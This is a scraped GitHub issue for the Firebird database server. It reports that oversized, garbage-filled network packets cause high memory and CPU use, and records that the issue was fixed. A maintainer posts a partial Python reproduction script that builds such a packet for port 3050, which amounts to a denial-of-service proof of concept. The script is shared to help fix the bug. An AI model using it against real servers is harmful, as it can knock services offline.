We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and
privacy statement. We’ll occasionally send you account related emails.
Already on GitHub?
to your account
Submitted by: @hvlad
Large network packets with garbage may result in big memory consumption and hign CPU load
Commits: 1b06f78 61f40e3
The text was updated successfully, but these errors were encountered:
Commented by: @hvlad
Pyton script below reproduced the issue :
IP = "127.0.0.1"
port = 3050
largo1 = 2372
pack1_2 = "A" * largo1
largo2 = 0x20000
pack2 = "Z" * largo2
op = "\x00\x00\x00\x14"
unknown = "\x00\x00\x00\x03"
packet2 = op
packet2 += struct.pack(">L", largo1)
packet2 += pack1_2
packet2 += struct.pack(">L", largo2)
packet2 += pack2
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
Sorry, something went wrong.
status: Open [ 1 ] => Resolved [ 5 ]
resolution: Fixed [ 1 ]
Fix Version: 2.1 Beta 2 [ 10190 ]
security: Developers [ 10012 ] =>
status: Resolved [ 5 ] => Closed [ 6 ]
Workflow: jira [ 12743 ] => Firebird [ 14438 ]
QA Status: No test
No branches or pull requests